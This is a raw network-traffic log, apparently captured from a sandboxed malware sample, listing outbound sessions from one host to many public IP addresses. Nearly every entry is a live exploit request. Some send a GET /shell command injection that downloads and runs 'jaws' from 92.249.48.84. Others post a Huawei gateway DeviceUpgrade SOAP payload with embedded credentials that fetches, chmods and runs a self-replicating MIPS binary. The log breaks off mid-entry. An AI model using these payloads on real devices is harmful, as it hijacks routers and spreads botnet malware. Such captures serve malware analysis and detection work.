Oct 14, 2024 17:34:12.288711071 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.14	34242	50.84.44.219	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.290935040 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.14	37868	219.61.31.247	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.292577982 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.14	44948	36.186.91.48	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.295367956 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.14	46386	166.225.45.181	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.297403097 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.14	59418	125.113.141.16	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.299740076 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.14	32838	222.204.47.231	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.301600933 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.14	44284	216.251.227.65	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.303620100 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.14	50656	82.200.247.237	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.306425095 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.14	35966	188.151.101.126	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.308917999 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.14	44498	130.134.1.55	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.311141968 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.14	36270	145.152.55.80	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.313318014 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.14	59924	197.52.94.232	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.364034891 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.14	42858	197.129.129.87	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.365067005 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.14	40952	197.56.115.214	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.367538929 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.14	53944	156.40.168.169	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.368777037 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.14	59988	197.8.124.136	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.369601965 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.14	35656	197.252.249.212	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.370430946 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.14	35890	156.136.127.182	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.371278048 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.14	50332	41.45.164.216	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.372065067 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.14	55794	41.157.6.145	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.373558998 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 